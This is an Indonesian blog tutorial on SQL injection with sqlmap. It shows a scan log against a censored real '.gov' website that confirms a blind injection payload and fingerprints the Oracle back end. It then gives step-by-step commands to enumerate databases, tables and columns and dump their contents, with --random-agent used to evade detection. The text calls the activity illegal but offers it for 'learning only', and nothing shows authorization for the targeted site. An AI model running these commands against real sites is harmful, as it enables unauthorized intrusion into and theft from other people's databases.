Tutorial Pentest & Hacking Dengan SQLMAP


Kali ini isengcom akan berbagi bagaimana melakukan penetration testing dengan menggunakan SQLMap (Tools SQL Injection & Takeover)

Yang perlu dipersiapkan:
1. Tools SQL MAP
2. PC / Server yang sudah ter-install python
3. Target yang memiliki vulnerability SQL Injection

DOWNLOAD SQLMAP DI LINK BERIKUT


atau

Kelebihan menggunakan SQL Map:
1. Bisa melakukan SQL Injection dengen beberapa method seperti:
– Boolean-Based Blind SQL Injection
– Time-Based Blind SQL Injection
– Error-Based SQL Injection
– UNION Query SQL Injection
– Stacked Query SQL Injection
2. Bisa berjalan baik untuk beberapa jenis database seperti:
– MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase & SAP MaxDB

Oke langsung praktek saja, kita akan mencoba untuk melakukan “Fingerprinting Database & Kelemahan SQL” pada sebuah website target.

Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
 
Added new feature :
– Speed acceleration
– Request limitation
– Queries management
 
[*] starting at: 13:43:24
 
<<sensor>>.gov\session’ as session file
[13:43:25] [INFO] testing connection to the target url
[13:43:26] [INFO] testing if the url is stable, wait a few seconds
[13:43:28] [INFO] url is stable
[13:43:28] [INFO] testing if GET parameter ‘newsid’ is dynamic
[13:43:28] [INFO] confirming that GET parameter ‘newsid’ is dynamic
[13:43:29] [INFO] GET parameter ‘newsid’ is dynamic
[13:43:30] [WARNING] heuristic test shows that GET parameter ‘newsid’ might not be injectable
[13:43:30] [INFO] testing sql injection on GET parameter ‘newsid’
[13:43:30] [INFO] testing ‘AND boolean-based blind – WHERE or HAVING clause’
[13:43:33] [INFO] GET parameter ‘newsid’ is ‘AND boolean-based blind – WHERE or HAVING clause’ injectable
[13:43:33] [INFO] testing ‘MySQL >= 5.0 AND error-based – WHERE or HAVING clause’
[13:43:33] [INFO] testing ‘PostgreSQL AND error-based – WHERE or HAVING clause’
[13:43:34] [INFO] testing ‘Microsoft SQL Server/Sybase AND error-based – WHERE or HAVING clause’
[13:43:35] [INFO] testing ‘Oracle AND error-based – WHERE or HAVING clause (XMLType)’
[13:43:36] [INFO] testing ‘MySQL > 5.0.11 stacked queries’
[13:43:36] [INFO] testing ‘PostgreSQL > 8.1 stacked queries’
[13:43:37] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries’
[13:43:37] [INFO] testing ‘MySQL > 5.0.11 AND time-based blind’
[13:43:38] [INFO] testing ‘PostgreSQL > 8.1 AND time-based blind’
[13:43:39] [INFO] testing ‘Microsoft SQL Server/Sybase time-based blind’
[13:43:39] [INFO] testing ‘Oracle AND time-based blind’
[13:43:40] [INFO] testing ‘MySQL UNION query (NULL) – 1 to 10 columns’
[13:43:48] [INFO] testing ‘Generic UNION query (NULL) – 1 to 10 columns’
[13:43:48] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
GET parameter ‘newsid’ is vulnerable. Do you want to keep testing the others? [y/N]
n
sqlmap identified the following injection points with a total of 36 HTnewsid(s) requests:
Place: GET
Parameter: newsid
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: newsid=187 AND 309=309
 
[13:44:14] [INFO] testing MySQL
[13:44:16] [WARNING] the back-end DBMS is not MySQL
[13:44:16] [INFO] testing Oracle
[13:44:20] [INFO] confirming Oracle
[13:44:23] [INFO] the back-end DBMS is Oracle
[13:44:23] [INFO] actively fingerprinting Oracle
web server operating system: Linux Debian or Ubuntu 4.0 (etch)
web application technology: Apache 2.2.3, PHP 4.4.4
back-end DBMS: active fingerprint: Oracle 10g
[13:44:26] [INFO] Fetched data logged to text files under ‘D:\binushacker\injection\output\<<sensor>>.gov’
 
[*] shutting down at: 13:44:26

Nah, dari sana kelihatan bahwa target “.gov” tersebut memiliki kelemahan di “boolean-based blind sql injection

Selanjutnya, <<Di sensor, You Know Ya! >> :)

Berikut adalah beberapa command penting di SQLMAP

Untuk melakukan scanning terhadap Target [URL]
./sqlmap.py -u[url]

Untuk mendapatkan informasi database Target [URL]
./sqlmap.py -u[url] –dbs

Untuk mendapatkan informasi table di database Target [URL]
./sqlmap.py -u [url] –tables -D [database]

Untuk mendapatkan informasi kolom didalam table yang ada didatabase Target [URL]
./sqlmap.py -u [url] –columns -T [table name] -D [databasename]

Untuk melakukan dump kolom, table dan database Target [URL]
./sqlmap.py -u [url] –dump –columns -T [table name] -D [databasename]

Untuk melakukan dump spesifik kolom Target [URL]
./sqlmap.py -u [url] –dump -C [column name] -T [table name] -D [database name]

Artikel tentang SQLMAP yang lainnya [By Ari Pratomo]

Hallo brother, kali ini ane ngepost video tutorial tentang sql injection menggunakan sqlmap di backtrack5, silahkan ikuti videonya dengan seksama hingga ahir, pasti anda langsung bisa :)

Sqlmap adalah tools untuk melakukan testing penetrasi sql injection pada suatu web, tools ini menurut saya, tools sql injection yang free paling lengkap untuk saat ini, walaupun ada havij, tapi menurut saya havij kurang advanced, havij lebih banyak dipakai oleh newbie newbie, karena memang kegunaan nya yang sangat simple untuk sekali attack sql injection

** Harap menjadi perhatian tindakan ini merupakan ilegal, tindakan ini semata-mata hanya sebagai pembelajaran saja. tutorial ini dibuat hanya untuk tujuan pembelajaran, Kesalahan penggunaan tools ditanggung jawab sepenuhnya oleh pengguna, Saya tidak bertanggung jawab atas tindakan yang akan anda lakukan :)

Biar lengkap saya kasih step-stepnya:

  • Test injeksi dengan men-fetch banner mysql (versi mysql)

./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --banner

  • Fetch user yang digunakan, dan db yang sedang digunakan dengan flag (–current-user dan –current-db), langkah ini ialah analisis user yang dipakai di DBMS dan DB yang sedang digunakan pada website tersebut.

./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --current-user --current-db

  •   Fetch list database yang bisa dihandle oleh user website-in@localhost dengan flag (–dbs)

Dengan mengetahui list databse yang lain kita dapat bebas melakukan injeksi pada setiap database yang available untuk di injeksi.
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --dbs

  • Fetch list tables di database portal dengan flag (-D nama_tabel –tables)

./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel --tables

  • Fetch isi kolum pada setiap tables dengan flag (–columns)

./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel  -T nama_kolom --columns

  •  Sekarang kita akan men-fetch hanya isi dari kolum dengan flag (-D nama_tabel -T kolom -C isi_kolom1,isi_kolom2 –dump)

./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel  -T nama_kolom -C isi_kolom1,isi_kolom2 --dump

Selamat, anda sukses melakukan SQL Injection & selamat mencoba :)

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s